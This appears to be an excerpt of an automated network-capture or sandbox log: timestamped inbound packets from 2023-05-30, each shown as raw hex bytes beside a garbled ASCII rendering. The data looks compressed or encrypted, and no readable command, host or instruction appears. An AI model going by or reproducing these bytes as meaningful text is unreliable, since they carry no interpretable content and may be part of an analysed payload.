2023-05-30 09:06:51 UTC	45	IN	Data Raw: bb c1 ec 62 42 76 c6 d4 14 8c 77 48 11 3e 8c 05 47 d7 22 00 10 74 69 68 b4 b1 ce fb 34 68 43 e0 3d 30 0d cd a4 c0 d3 27 f3 80 a7 f5 dd f5 8e 01 ae 24 ec de b9 18 bf 0f f0 8f ba 5f 7f 70 1c 4a 5f ae ce a5 2d 76 c0 49 f0 a0 87 52 f5 af 82 50 7b 27 0c e9 1f 5b e7 d5 f5 88 12 02 16 8b ec 19 9b 4d 08 61 7a 16 2b 9a 29 a7 68 11 28 b0 c8 26 cd 2c b3 a6 3d d6 3b 93 39 90 3b 1d b9 1c ed f5 0f c7 20 91 2d 77 71 cc 0a e9 a4 9c e4 19 92 4c aa db a1 7e b4 36 ec b9 be 84 24 cb 4b 18 2a d8 55 4c a0 b7 51 ad ce 9b 65 05 4d 23 70 8f 20 75 7b b5 69 42 e9 4c 32 1a 95 4d 47 a9 6d 51 4a f2 71 a1 67 dc 39 0d c9 c0 2a 39 b4 97 96 9f bd 01 fa 61 53 1c 7e d1 33 ed 07 d4 a7 e5 7b fb 68 b1 cd b4 6f 25 e6 48 7a 12 6e e8 d1 e9 eb 7e 75 36 da bb 89 43 fc 5e c8 39 a7 a3 f9 95 25 41 4b Data Ascii: bBvwH>G"tih4hC=0'$_pJ_-vIRP{'[Maz+)h(&,=;9; -wqL~6$KULQeM#p u{iBL2MGmQJqg99aS~3{ho%Hzn~u6C^9%AK
2023-05-30 09:06:51 UTC	46	IN	Data Raw: 75 5a 80 bd 29 e5 b4 79 26 7c bd 9a 32 60 e3 94 38 10 48 79 48 f8 53 ad cb 95 aa 4a c7 f4 60 85 82 d3 f1 34 1f 87 08 54 3d be 00 97 50 92 59 25 44 33 d6 a6 f6 c7 a3 b9 ba 8c e1 d1 9d a0 6f 80 3c a8 00 04 42 16 e8 7b 3f ba f4 2a 2b 3f 8d af 8c da 42 48 85 01 6c 81 20 c5 2c 91 f9 6e c3 e8 c5 b9 68 a9 a1 14 d9 1c 84 84 b1 2b 8f 55 41 9f 8b 0c b3 1e 34 2a 2f d8 4e d7 ed 95 67 29 ba bd 9e e2 03 05 cc d9 e7 44 14 7a 23 6d 44 a1 3e aa 02 e0 01 10 17 91 e9 43 0f 7b 1e 17 97 8d ed 06 f1 97 09 1e f9 30 8b e7 d0 23 61 1f 43 f0 50 b3 0f c4 62 d7 2e b0 78 86 df a8 df f7 04 eb b7 c9 f9 53 e9 d6 57 48 d2 87 55 31 43 0a a7 79 df 35 d2 0f 37 59 f3 ae 49 67 77 9d 89 13 6d 5e 2a b1 05 61 2f 68 d9 b2 a4 78 6a 24 94 73 f4 95 a6 21 da d9 35 b0 14 43 aa 28 49 e5 76 a9 ba 6d 38 Data Ascii: uZ)y&\|2`8HyHSJ`4T=PY%D3o<B{?+?BHl ,nh+UA4/Ng)Dz#mD>C{0#aCPb.xSWHU1Cy57YIgwm^*a/hxj$s!5C(Ivm8
2023-05-30 09:06:51 UTC	47	IN	Data Raw: 92 67 ca 8e a3 25 91 89 69 d3 07 f5 02 b1 5b b6 e5 fe da f1 b8 49 11 f7 bc 27 10 f8 49 3d 03 ea f0 96 6b 48 bb 5d e9 71 f3 d2 21 53 b1 6a ef 4d 40 bf 54 99 3c 38 6a 52 39 69 b6 97 0f a9 85 8b aa 52 72 23 36 38 72 c7 06 e0 ef 2d cc b5 01 37 7f 52 0d 98 99 15 c0 07 e7 12 09 ea fd 36 fd 61 bb c7 c9 ba 0f 61 d8 af 97 7f 4e 9d ce c9 ff 5e ba 94 d0 68 00 65 fb 6f b7 0c f8 d7 36 d3 6f c3 fa 01 02 f8 eb 77 54 4f 89 e6 d0 d8 57 2f f9 06 11 0b 24 d8 23 28 e1 b0 a1 9a 29 08 da f5 b6 75 13 d0 bb 64 32 bd 98 3e 12 39 54 df 8b 9c d6 41 1b 97 e9 4c 87 89 58 a3 f0 87 fe 68 a5 df bd 41 74 67 91 c5 86 cf 1f d2 e0 57 38 53 e0 bc d3 bb c5 c3 4c 32 6e 96 1a b6 09 3a 33 b0 f0 93 e0 a7 ea 94 c7 ad 2a 98 4c fc fb ca 98 87 58 9c c3 03 34 ac f4 7a c2 40 0b 71 f3 36 e9 68 36 1d ea Data Ascii: g%i[I'I=kH]q!SjM@T<8jR9iRr#68r-7R6aaN^heo6owTOW/$#()ud2>9TALXhAtgW8SL2n:3*LX4z@q6h6
2023-05-30 09:06:51 UTC	48	IN	Data Raw: 15 44 33 eb 55 c8 9a 84 de f8 d2 5c 2d 16 fe 12 cc bc 54 0c 39 c7 ef 41 a0 57 50 de de 09 95 c1 1d 82 aa b0 b3 c1 fe 26 f1 ec 2e 4b 8d 43 b1 dd ff 40 dc 56 c1 ea 60 25 75 ca d0 f5 34 76 13 e7 5c 7e b6 74 58 05 2f 57 b3 5d 38 a4 25 a0 e0 1b e7 47 ee f8 37 ca 16 dd 20 d8 5a 1e a3 33 7f a3 f9 8f ae d0 fa 15 0c 6d c9 56 04 28 26 76 92 20 5c f3 bc f7 ee c9 06 8e 40 a2 e8 31 4d 17 ef 50 13 6d 9c 50 5b 3e 80 c4 73 be 7a 34 e2 77 e5 33 ce af 30 ba ba fd b3 ff d4 a9 c8 36 5f 8e 5c 4d 0f 94 6d d6 4a f0 a7 f0 96 07 1f 59 02 6a 4c b2 6b 53 04 fa 05 c4 46 2d 64 4d ce 73 31 55 17 20 f4 7a 3c 9f 45 ce 3d 8c df 5c f4 e3 c8 50 d7 f0 96 ef 95 94 3b d0 da 8f a8 c3 84 70 6a a1 8c 50 51 61 21 41 b1 9f 23 3d 2f 17 66 2f 6a a8 c2 44 8a c3 2a 7f d0 71 26 a5 93 82 cd 5d ff 77 24 Data Ascii: D3U\-T9AWP&.KC@V`%u4v\~tX/W]8%G7 Z3mV(&v \@1MPmP[>sz4w306_\MmJYjLkSF-dMs1U z<E=\P;pjPQa!A#=/f/jD*q&]w$
2023-05-30 09:06:51 UTC	50	IN	Data Raw: 47 bc 0b 2f 11 f8 67 d1 25 51 19 7d 38 f2 62 3e ef ca 19 83 0a ca 5a 2b 53 7e df 1c c4 84 7a 2b 19 be 02 58 a2 9e c1 7e 66 01 a8 70 e0 00 64 28 4a 41 56 ba e8 dd 12 a7 25 f0 a2 47 03 de f5 3c b0 d1 78 70 48 5b bc d8 5f b6 82 dc 12 d1 46 7a 49 41 fd 4e 5e d2 ce 54 78 f0 a7 dc c5 0e 1e 33 e4 97 91 1d 85 aa 94 e0 e9 70 63 99 Data Ascii: G/g%Q}8b>Z+S~z+X~fpd(JAV%G<xpH[_FzIAN^Tx3pc
2023-05-30 09:06:51 UTC	50	IN	Data Raw: 40 d0 89 c9 34 7e e6 96 e1 e3 52 2d 46 d9 94 17 b6 55 f0 b1 3a 1a 52 9a ef d5 50 87 0d 05 14 7f e1 7e f3 cb e9 bf e0 f4 50 20 1a 08 f0 ff 9c c7 50 7f f7 14 b1 71 1b 9d 54 d8 a4 c5 b4 fd de ac 73 a3 51 94 84 28 92 c3 7a ea 56 c4 56 53 96 3a b0 1d 37 9e d0 84 31 ab 14 5d 7a 82 85 a1 96 9f 18 ad ca fc a4 19 42 5b 72 27 a7 fd d8 7f 4c 2c 60 ea 60 a5 af c2 1d 00 b2 c6 26 96 e7 88 ad 7d 5d e4 f2 70 ef ab f4 ea 9c a0 0d 5c 3b bc 78 f5 93 c8 ad ff 9a 85 ae 83 8e 6b ec ec ee 3b e1 cf b3 26 ae d0 30 af 52 be f9 15 ed 1f 22 f6 df c5 44 ee 55 86 75 13 31 54 e9 d6 7e a7 88 38 b2 ac 9d 33 b4 bf 62 28 cb 94 00 91 ee c7 f5 d2 8c a2 21 24 c2 e9 61 9b 30 b6 e5 13 85 f1 36 93 d5 e5 50 2e 68 0c a8 6d 01 1b ee 1c c5 4e 8f 73 2b 9c 1a 2b 54 53 6d 74 1b d8 26 33 79 ba 35 80 c8 Data Ascii: @4~R-FU:RP~P PqTsQ(zVVS:71]zB[r'L,``&}]p\;xk;&0R"DUu1T~83b(!$a06P.hmNs++TSmt&3y5
2023-05-30 09:06:51 UTC	51	IN	Data Raw: 24 3c 40 fa b5 96 d0 df 3c 98 e2 08 2c fa 79 6f f0 7d d4 53 48 03 cf 68 a7 4a b9 db 0e 32 26 c8 8d 9c 85 22 a3 96 f5 c3 f7 47 4b 98 f4 a1 f1 69 0d 75 35 82 c4 5b 2e 49 67 44 36 0f 03 a8 e9 24 6f df bc e8 89 c6 d5 dc 6f c7 2b 07 62 fc 31 4a 7c 12 84 57 38 db a0 d7 fe 92 f8 21 02 fc db 97 17 34 3f 34 19 3d 98 fc ba 4a 50 a3 22 d9 37 9b 5e 29 83 57 0c 40 1b a4 70 95 e9 df a0 33 38 9e 69 d4 22 8e e4 7b 17 28 e7 71 fc 6a 59 6f d9 cc 34 3f a4 ed 50 20 25 1a b8 13 30 2f 81 db 3a 1a 5c 82 53 d9 97 5a 72 a4 c9 a2 3b 3d 42 ef d0 ab 9b d9 c9 19 09 8f 68 83 de 70 92 a9 eb 8f 0f a0 0c 4b c0 00 cc cd e2 bc 16 38 ea c9 34 d0 a1 08 68 db 14 ec 49 3b d8 11 aa 5f 16 a1 f6 4d 28 04 4a e9 87 fd e5 1a 1d 07 cf 8b 5d c3 d7 d6 e5 23 a5 92 18 25 4d 61 7e 1c cc 86 48 70 d3 66 b9 Data Ascii: $<@<,yo}SHhJ2&"GKiu5[.IgD6$oo+b1J\|W8!4?4=JP"7^)W@p38i"{(qjYo4?P %0/:\SZr;=BhpK84hI;_M(J]#%Ma~Hpf
2023-05-30 09:06:51 UTC	52	IN	Data Raw: 98 e8 02 35 4a 8d 37 ed 9f b3 7b cb c7 44 55 dd a2 24 49 02 45 ff ab a2 f7 ed b9 3c b4 bc 3d 41 cf fa 7c d0 b5 fc f6 45 50 d9 f6 9c 23 c0 d9 c0 cd ce a1 35 97 6c 95 46 2d e3 41 82 1a f6 fa f2 40 6e e8 50 54 36 b1 92 94 de a7 95 e0 8c c3 9a a1 88 9e a3 9a 03 1e 87 6d 4e 60 9e 96 c2 71 94 56 f8 eb 96 17 97 bf b4 92 9b 6b 24 45 b6 95 9d b5 c9 0a 34 31 1d 8f 26 42 15 37 4c 1d e9 11 5a a7 0b 92 6f 84 c9 41 e7 50 e7 70 a4 27 05 98 e0 43 f4 c5 2b d1 31 15 5e a4 a7 27 09 f5 1c c2 24 a0 19 9c 64 27 df d1 42 80 31 ca 22 1b 42 5e bd 7a 89 de 7b 02 5a a2 fc 00 a1 2b 2b d3 22 f1 81 37 95 7a f7 3f d8 77 5d 77 ff fb 2f c0 dd 28 6e 54 9e 57 c3 d8 c3 0b 8e 82 96 f4 4c 92 1c 6a 6f bc 8a 98 3e cf da f0 ed 7a 7a 86 52 a8 b0 80 28 d8 64 ca 79 98 38 d2 53 99 a1 09 a9 b2 d5 ce Data Ascii: 5J7{DU$IE<=A\|EP#5lF-A@nPT6mN`qVk$E41&B7LZoAPp'C+1^'$d'B1"B^z{Z++"7z?w]w/(nTWLjo>zzR(dy8S
2023-05-30 09:06:51 UTC	53	IN	Data Raw: 4c 37 7e de 20 e5 54 68 af 38 a2 ae 95 b2 d1 4c c8 47 0e 52 15 b3 ee e1 6b 2a b8 4a 41 9f cf a1 ca 81 7b 42 39 da 9e c0 40 0c 9b c7 69 87 3d 7a 97 85 51 93 02 a2 6e 5f bc cb 69 6a 29 2f 05 75 b4 96 9b 3a ce c6 5a 46 24 9e 8c ce 52 b1 6e af 9c 73 00 2a 93 8f cf df 53 be f7 9c 8c 38 d3 fc e5 b9 dd 4d f9 c2 3f f0 05 e8 30 a7 e9 e6 f5 fc e5 b7 33 c8 90 4a a2 f8 7c ba 93 fc 14 32 4f 5b 4a 0b 68 f7 0f 0f ec 3a 10 d5 3f f1 58 37 ff 26 6f cb 27 b0 66 44 1b 7c 16 ad 1e 4f 3e 17 3f 98 f9 32 de 44 9d 7f 08 bf 15 89 ba 30 a1 a9 e9 6a 88 3a df 17 86 a8 ae 98 69 92 94 e7 5d 8e 2f bd af 75 c2 3b 79 e8 06 80 bc e4 d3 b8 85 73 8e 8b bd a1 e6 30 61 8c 11 86 ac 99 cf ad 75 ab 92 5b db 70 53 f5 c9 6f 6d 2d e1 67 86 65 ee 6f 27 c8 0e 98 b4 8d 79 96 36 54 7f b5 05 42 e1 c0 e6 Data Ascii: L7~ Th8LGRkJA{B9@i=zQn_ij)/u:ZF$RnsS8M?03J\|2O[Jh:?X7&o'fD\|O>?2D0j:i]/u;ys0au[pSom-geo'y6TB
2023-05-30 09:06:51 UTC	55	IN	Data Raw: 37 eb 37 08 b2 22 2d 54 39 06 38 58 2c c2 72 0c 7e 30 1b 29 a4 dc 41 3b 51 8b 4c 09 90 e9 fe 42 ce 6d ad 9b c7 0d 8f 3c ea f4 de aa f1 4d 2e 27 69 a8 cf 74 f6 3c 1a 5c 54 27 69 e7 87 42 c4 ce 5b b7 f9 b6 aa 67 f5 50 b4 9f ce 17 3b 99 97 9a d7 59 e3 88 d1 03 d5 e2 78 99 36 44 d0 bd 47 00 e7 52 a6 ce cf dd eb 42 75 77 f8 bf a8 d0 9b 6f 07 1b 3a 9e ea b9 89 38 f2 6e 11 01 39 f9 0d be 9c 0b 70 1a 7a 97 dd 1e b9 e7 b9 8a 7f 2a 1f b1 6f c8 aa 0f c8 54 24 8a c5 12 d5 3f e8 42 ba ce c4 9f d7 0a 39 ed de f3 24 fb 04 20 61 45 76 7c d9 83 ef e3 0d f4 3e 66 28 a0 40 2e 72 a9 3f 76 8b 65 34 2d 56 77 a4 21 56 bb 0c a5 c3 d6 76 88 58 7c 5d d6 e0 fc 48 ce f6 ec ef 29 0c 25 4b d0 dd 03 90 ce 91 92 3e ca cb 28 ff c8 0d f1 f8 93 bb 47 34 08 4e 60 f7 24 ae 8d fb bf a6 6d 6c Data Ascii: 77"-T98X,r~0)A;QLBm<M.'it<\T'iB[gP;Yx6DGRBuwo:8n9pz*oT$?B9$ aEv\|>f(@.r?ve4-Vw!VvX\|]H)%K>(G4N`$ml
2023-05-30 09:06:51 UTC	56	IN	Data Raw: 33 78 bf 63 e7 29 74 0e f7 62 78 21 af f9 ad 91 fe 2a f9 9f 63 2a e4 57 f9 0b a2 f2 eb 83 a8 d1 7e 22 c9 74 52 77 50 d2 65 ea 8b 64 4d c5 6a 9b f2 e8 13 26 0f 4d 4c c6 d7 45 fe 25 69 81 36 cf 34 22 b3 31 b9 17 65 a2 5e 46 67 45 1b 38 b0 74 ee 5f 22 4b 18 b0 d2 e0 ef 40 a8 c4 62 74 09 3b 89 26 d2 3c 2f 5f 9d 10 8a a2 77 1c cb 4b 18 f4 f9 96 fe 63 dc b4 e3 3d 88 ba 2f 38 70 4e ea 67 f2 88 6d fd 4d b2 54 62 2b 13 41 9b e0 86 d3 38 5a 5b 85 9f fa 06 31 d8 a0 c6 12 e5 25 f7 16 b2 09 59 5b 4d 35 8c 71 22 23 fc 90 c5 ae 47 1e 46 ba c5 2b 81 e6 cb 32 2a 03 bd 9a fe e5 e4 7b da 23 43 d7 b1 fc 8c ff b5 bb 3a 43 42 59 09 71 6c 96 96 9b 9f cf c8 a8 d0 01 74 73 49 ea 2e ee fa 08 f8 e3 5e e0 88 71 d6 82 7d 9f 46 66 13 4f 5f 7f 84 23 e4 1f 09 b9 ba c8 89 5e f3 7d 40 1e Data Ascii: 3xc)tbx!cW~"tRwPedMj&MLE%i64"1e^FgE8t_"K@bt;&</_wKc=/8pNgmMTb+A8Z[1%Y[M5q"#GF+2*{#C:CBYqltsI.^q}FfO_#^}@
2023-05-30 09:06:51 UTC	57	IN	Data Raw: 62 11 34 2f 64 ad 71 37 78 80 1f 04 e4 b4 05 68 5e 10 23 28 ef 55 43 44 28 96 77 7c fd b0 13 a5 11 82 bd f0 9d e6 ca a0 d6 41 d0 11 92 f9 96 8d a5 29 10 78 9e d7 18 eb b9 40 2b c0 9c 40 39 ce ea cd 1c 16 f5 25 ba be 25 68 93 f5 b9 6a 09 d8 d6 c5 11 b6 65 74 2f e6 03 0f 4b c9 01 44 a4 45 31 19 e9 ce 64 88 f2 03 1e 2f b0 e5 22 0e 52 a5 cc c0 48 34 6f 78 54 f5 33 88 1c 9c 2e d8 73 08 dd 52 49 74 4a 38 3b ea 0a b1 52 a4 2b 03 c9 4f 7c 7a 38 93 78 e6 ac 22 6f 0a bd 4d 61 91 68 20 85 f0 93 62 03 a3 25 a0 f2 fd be 35 27 13 76 04 4e 7f 94 19 6e 7f 8f 54 bd e9 c3 4e 34 a1 7d a3 b5 c3 76 55 bd 19 94 2d 14 7b c0 e4 cb 36 e2 12 bf 17 3b d6 b8 60 71 b9 8c f7 70 f3 ef fa b1 9e 6b 8a 13 58 9c d4 21 68 28 ed 4a d9 05 0e da 2b 00 49 b4 85 68 46 75 04 03 a5 c0 bb 40 40 48 Data Ascii: b4/dq7xh^#(UCD(w\|A)x@+@9%%hjet/KDE1d/"RH4oxT3.sRItJ8;R+O\|z8x"oMah b%5'vNnTN4}vU-{6;`qpkX!h(J+IhFu@@H
2023-05-30 09:06:51 UTC	58	IN	Data Raw: 5e 12 01 f0 78 df 77 69 f5 24 5d 5d 49 e4 d0 23 fd 1c 5b f9 31 f6 94 18 06 f5 26 8a af 02 a8 e4 25 db 76 08 97 a2 82 c6 ba 65 91 9e 3e be d6 f2 c9 af 01 b0 b8 1f 6c 92 30 74 a5 09 5c 3c e6 d0 c7 dc ca 9c 34 f4 7a 8e 94 b7 cb b1 bd cb 50 cb 9b e1 00 17 3d 18 ec 0e 8d 62 3e 5c 0b 19 f1 c3 06 d0 00 19 bf 2f c6 69 78 b6 0a 92 a0 73 40 a1 2e 96 91 1b 37 24 df b4 b9 1d cb b1 84 ee 5a ce 3e fc bb f7 ae 4e ec 86 74 b1 1c 8d 77 97 ed 95 83 61 c8 3e 89 1b e6 e6 f6 2a 9a ff 79 aa e5 b2 3d 91 4a 59 cd e7 41 de 70 ee b3 b5 5d 7f dd 1f 07 63 11 89 49 81 e3 bc 2d 2e 8c 4f 94 e6 3c 02 a3 e6 dd 32 de 77 e6 a4 1e 63 5a d4 30 73 f0 67 47 9d c3 17 83 cc bc 13 87 95 5a bb 5b 58 eb 8a f2 39 83 4e 35 2c b8 90 ec 7d 1d 93 5f d2 60 66 81 5d 8f 85 4f 35 cd e0 9e 86 45 64 48 ed d2 Data Ascii: ^xwi$]]I#[1&%ve>l0t\<4zP=b>\/ixs@.7$Z>Ntwa>*y=JYAp]cI-.O<2wcZ0sgGZ[X9N5,}_`f]O5EdH
2023-05-30 09:06:51 UTC	59	IN	Data Raw: 23 f1 c2 5c 49 e2 2a 89 f7 d3 8b 87 bd e0 99 e7 64 84 77 d7 df 9c f7 db de 1c 7c 18 e5 ce d5 b7 0c 67 14 3f 6a ba 4a 32 df 46 c4 d6 55 13 3e b4 2a c0 0d 52 98 fd 85 68 d5 c7 67 b8 7d 1b 4d 28 77 08 c8 2c cd cf 07 f1 46 78 4a 60 b1 49 5a eb 61 1b 62 6b 3a fe 82 6f c5 dd 14 84 39 7d 10 13 22 65 e4 90 88 8c f0 63 c5 05 b7 b6 aa 5e 1f b4 66 6a ae fc 0b 35 89 02 8d f6 70 ef c1 b6 d5 1b ea 8f f8 b8 9e ec 69 68 ef 31 e7 71 e0 c3 9f 47 52 23 24 85 b6 46 9c 7e e5 db 92 23 3c 15 bd 45 d4 84 7f 4a 9b 16 f3 ac b5 98 ab 26 81 8b f3 41 b3 47 e4 db 1f 5e f8 37 48 ed 7a 91 ab 3a e5 90 b4 85 7b f7 d5 55 53 8c e1 81 16 33 97 ca c5 bd e2 16 0c 10 2f 2a 53 71 91 ff d3 a9 1a 31 92 5f 52 2c 62 2e 5c d0 f6 1b 34 73 2d 25 8f e0 4c 90 12 cd c9 cf 8f 55 e5 f3 b9 8b d7 6c 07 ef 83 Data Ascii: #\Idw\|g?jJ2FU>Rhg}M(w,FxJ`IZabk:o9}"ec^fj5pih1qGR#$F~#<EJ&AG^7Hz:{US3/*Sq1_R,b.\4s-%LUl
2023-05-30 09:06:51 UTC	61	IN	Data Raw: f1 f1 bb d0 20 fd 09 2d 28 1c 90 1a c6 be 3b e5 86 7f a9 60 b1 c1 10 64 8b b0 31 34 f3 c1 87 be c5 85 ff e7 d4 ff bc d0 9f cd 47 b1 b6 d3 45 e3 95 72 6a 96 b7 fe a5 35 69 57 a7 3a 96 72 c6 79 11 87 25 3a a7 f4 f7 ea 9a 30 d7 25 b1 6c ca e4 1e 7f 6e 55 f4 d3 89 b9 04 e7 6d 33 5d 4e f1 20 03 4a 82 de f9 7e ac d8 f7 a2 26 2a af b2 29 a1 9b 4a 8a a5 9d 45 aa 4b c8 ed e1 40 8a da da 39 b7 9d 7a 38 a5 bd 92 af 7e 18 28 c4 28 46 bd 67 ad 23 6b 12 c5 7f 9b a6 0b 50 f8 3b df c7 08 ba 75 11 6d 9b d1 37 a1 1c 6b 76 c3 b5 05 f9 87 7e 13 e5 db 7d d3 7d bd 8b 90 06 b9 1c f7 01 6d 3e 9b c1 0e 35 e7 74 75 4c bc 28 79 0b eb aa 77 c8 3c ab 3f 0d f8 00 c6 2b 6a 3a 7f 32 21 72 a3 62 b3 cc c2 80 3a 76 5d e2 2b 5b d8 3a 3b 33 f1 fe cc 81 46 20 4f 2c a7 21 a1 95 c8 12 c9 4a c7 Data Ascii: -(;`d14GErj5iW:ry%:0%lnUm3]N J~&*)JEK@9z8~((Fg#kP;um7kv~}}m>5tuL(yw<?+j:2!rb:v]+[:;3F O,!J
2023-05-30 09:06:51 UTC	62	IN	Data Raw: 97 f9 05 4a 6d cf 48 27 ad 5b 0b 95 4f 6d 75 2c d2 f3 09 d5 ab 92 30 43 6f 49 23 99 d3 d8 7d 9f b4 4c be 63 60 7f 3d 0e fe 8d 0d db f7 08 3e b9 e6 86 78 2f 13 fa 6a f9 e4 5a d5 37 4c 09 57 3a e7 1e ed 19 05 39 19 7c 41 e6 5d f2 18 51 fb 5e ac 71 a3 2b d5 72 78 bd 2d 4c 99 a3 5d 07 66 22 42 d0 69 0f d6 30 94 5d 75 f2 5c 49 e8 57 4c e1 2a 7b ae f7 e0 8a 2c e4 d1 46 5f 09 80 66 4f 98 4c 84 3b 76 91 77 bd 13 86 85 37 0a a7 92 38 be 5e 91 40 a4 2d 79 20 f3 4b e8 b7 e9 80 09 e6 c6 2e eb f0 d1 6a 7c fe f7 92 ec 70 76 60 96 64 1b a4 97 7d 7e ff f3 4d bc ef a6 a1 c3 d2 3e ff 21 97 4b d3 7c 8f a6 0c 8e 0c 10 b0 7e 56 14 5c 55 e0 3c 13 4d 04 ec a9 cf 6d c6 6d 8d 4e 9c 20 27 8e ec 34 07 49 5b 1f e7 50 53 82 01 cb 63 42 0a ee c3 f0 38 9e 97 91 62 85 14 59 d7 6e 62 00 Data Ascii: JmH'[Omu,0CoI#}Lc`=>x/jZ7LW:9\|A]Q^q+rx-L]f"Bi0]u\IWL*{,F_fOL;vw78^@-y K.j\|pv`d}~M>!K\|~V\U<MmmN '4I[PScB8bYnb
2023-05-30 09:06:51 UTC	63	IN	Data Raw: ae 03 56 8f 25 6b 57 fc 50 5b 3e 77 13 20 f6 40 d9 ea ef 5f 34 5d ba 45 7b 2a 4d 13 2b b8 53 fa c6 52 c8 49 bd 4c 67 11 9f 3b 1b 93 44 94 cc e5 1b 55 71 5a ce 84 89 23 0d 6f f1 07 44 fe 40 47 45 a8 f6 ff 54 a0 61 e2 cb 2e 60 1e 78 cb aa 0b c6 d3 fa 54 15 7c bb 96 10 97 57 db de 07 68 5a ad 5d ec c5 ac 7c 4e 55 68 23 ec d2 f9 e9 64 2c 5a ab 5d 21 44 b2 bf 69 04 e5 7d f7 a7 0c 9b 76 df 67 4e 52 bb 9e 06 02 86 fa 88 b6 1a 79 f2 0e 22 39 84 11 95 2e 05 a6 6a 59 25 2a 14 0d a9 79 02 d4 7a 9b 9c 2b 04 9c d8 a9 ea ac 3f de bb e6 7e 68 a1 3f b4 92 2b 88 06 a5 68 54 c6 75 81 5e d5 7e 1e 21 8f 92 05 6f 1a a5 38 b6 d2 5c 9f da d9 24 dc 02 27 69 10 79 38 69 97 f0 bc 33 58 74 55 55 34 20 b7 b2 fb 9c 01 de 0e a5 35 40 0c a8 cc 2e 94 aa 2e 07 da 3a 5d 76 48 4a ee 58 48 Data Ascii: V%kWP[>w @_4]E{M+SRILg;DUqZ#oD@GETa.`xT\|WhZ]\|NUh#d,Z]!Di}vgNRy"9.jY%yz+?~h?+hTu^~!o8\$'iy8i3XtUU4 5@..:]vHJXH
2023-05-30 09:06:51 UTC	64	IN	Data Raw: 84 65 a2 0e e5 4d 35 47 c1 6f 6f 92 bb 1a dd d8 3f 3a c5 bd 5a 48 f4 2e 08 cb ca a7 67 9c ff 46 41 82 f0 5b 8b a7 f5 7d 5e 16 3c 14 6c 00 dd fd c6 52 67 ff 3e 7a fc d8 34 5e 4c 64 6a 37 57 ca 73 b2 f6 fb 34 64 d1 ac cf 64 5a 6e cd a7 29 cb f9 b9 38 ed 72 e1 e3 84 17 a1 f7 c8 0d 22 40 65 a2 ed f4 3b 20 8c 20 57 37 ef 27 93 da e3 ed e7 c6 2d 53 73 bd 55 57 32 a4 2d 6d 97 2a b8 a3 5a 8e a4 d1 a1 f5 d8 e5 b7 79 7c 3c 0a 1c 8c 03 d5 85 1a 95 91 b5 17 49 d1 a8 62 18 ed fc 19 a8 db 1c be 71 a2 5f 7e 8b 40 23 a8 b8 17 22 65 e7 17 9f fb c9 e4 b3 3c 54 69 f3 40 7d 94 a0 7f 54 ce a5 28 88 5a c0 d3 9c 01 cd 06 78 69 46 8b a7 fb 3b 80 78 7d 18 95 97 b0 f0 e8 24 e9 58 68 af 52 5e 4b 68 27 8f 85 b4 e3 be 40 39 1b d8 6a dd 2c 33 b4 33 60 39 e6 e5 b8 4c 93 de 29 ae 90 65 Data Ascii: eM5Goo?:ZH.gFA[}^<lRg>z4^Ldj7Ws4ddZn)8r"@e; W7'-SsUW2-m*Zy\|<Ibq_~@#"e<Ti@}T(ZxiF;x}$XhR^Kh'@9j,33`9L)e
2023-05-30 09:06:51 UTC	66	IN	Data Raw: 97 6f 19 6c 29 5b b4 c9 c0 c2 a2 46 b1 2d 17 03 37 6d bd 9d 46 a6 ca 04 5e 0a 68 2b 45 86 1f 71 64 0f c5 89 71 7a 26 4b b4 77 ed 08 c8 d5 f5 52 45 59 12 6e aa e3 68 04 df 85 2d 80 49 a2 9c 25 89 89 e5 3d eb 8b ee 62 2e 95 b9 46 02 8e 5b 8b 36 a4 94 be 0c 0e 73 af 62 b0 97 66 50 b6 13 bd Data Ascii: ol)[F-7mF^h+Eqdqz&KwREYnh-I%=b.F[6sbfP
2023-05-30 09:06:51 UTC	66	IN	Data Raw: c1 ba cb db b3 38 da 66 52 91 62 6d 82 78 34 c4 54 e8 93 ec f5 d9 1a 42 0e 48 30 1b e5 85 6a 1b 70 60 9a a1 49 42 8b 19 5b b4 6c fb 40 cc 2a bc 29 51 8a e2 96 fd 9e 8c 8c c7 9f c2 01 a9 cc 7b d3 8b 58 1e 3a ef d1 1d 06 38 d5 03 96 db da 6b c9 27 39 9a 17 45 d2 a8 7c ea f1 a8 f3 6e b6 02 94 50 c7 dc b6 bc fd 5a 2e 45 bc 84 6a 59 5d d4 d2 ce 23 ac 0a 06 6f 0a f4 2b 00 b5 03 96 83 ac b0 11 37 1b b6 0f f8 c0 46 29 57 73 e2 b4 b7 6a 83 8e 15 3d 9b 97 c7 db 61 85 35 34 fa 33 77 54 87 21 12 9b 2c 56 db 5d 63 96 30 f2 ab e7 d2 52 79 3f 99 4f 86 37 00 81 a5 99 05 00 d2 de ce 11 d4 60 2e 7a 53 49 dc 58 4d 26 45 2d 9a f4 b0 64 a0 22 6c 0d 08 cd fa 50 b0 7b 3a 58 9d 02 39 87 e0 dc ab 36 e4 ed b7 7e 45 ee b0 98 2e 34 f4 7c c9 7c ff 41 66 b9 a7 f7 c8 70 0f 68 dd 40 2b Data Ascii: 8fRbmx4TBH0jp`IB[l@*)Q{X:8k'9E\|nPZ.EjY]#o+7F)Wsj=a543wT!,V]c0Ry?O7`.zSIXM&E-d"lP{:X96~E.4\|\|Afph@+
2023-05-30 09:06:51 UTC	67	IN	Data Raw: f2 3e d9 bc 64 2b 95 38 dd a4 27 27 ae 6f 06 bf 82 74 84 20 e2 79 72 26 58 9a 9d d2 cd fe 8b b4 d8 65 1a 90 4e c7 96 61 f7 bd 21 fc b5 6c 00 00 24 b5 ab 0e 33 7a fa 35 52 a1 d1 d7 f0 e6 81 99 9a b5 01 d2 36 f0 49 28 fd f3 db f7 47 75 ab c6 a5 f4 c8 45 f6 06 66 30 ba 65 db 8a fe b9 c8 da 0f 33 a0 65 19 a1 d5 2d 84 c4 da 14 47 25 d0 ba ed e9 ac fd c8 fb 2c 06 45 48 2a b8 6b ec 92 b1 39 6e 90 79 88 7f ed fd 6d 91 f8 dc 58 81 f7 70 1f f8 14 d9 33 6f 56 3b bf 4e 94 34 30 a3 4c 58 5c c2 b7 d7 2a 33 10 9e 28 14 70 1d 12 86 7e 38 d3 ec d5 80 b4 14 db ad f6 66 ff a3 d2 16 23 0c 38 95 12 e6 2d ed 80 1f 28 0c c0 af fc 92 0c 1e b4 b0 0b cc f3 cc bd 8f 8f 5c 31 0b 61 f4 4a 36 fd 7b e8 29 61 a1 03 57 5a 81 2b 47 67 cf 3d ef 6b b1 fb ab 7e 8e 46 c6 12 a6 d8 d8 96 04 df Data Ascii: >d+8''ot 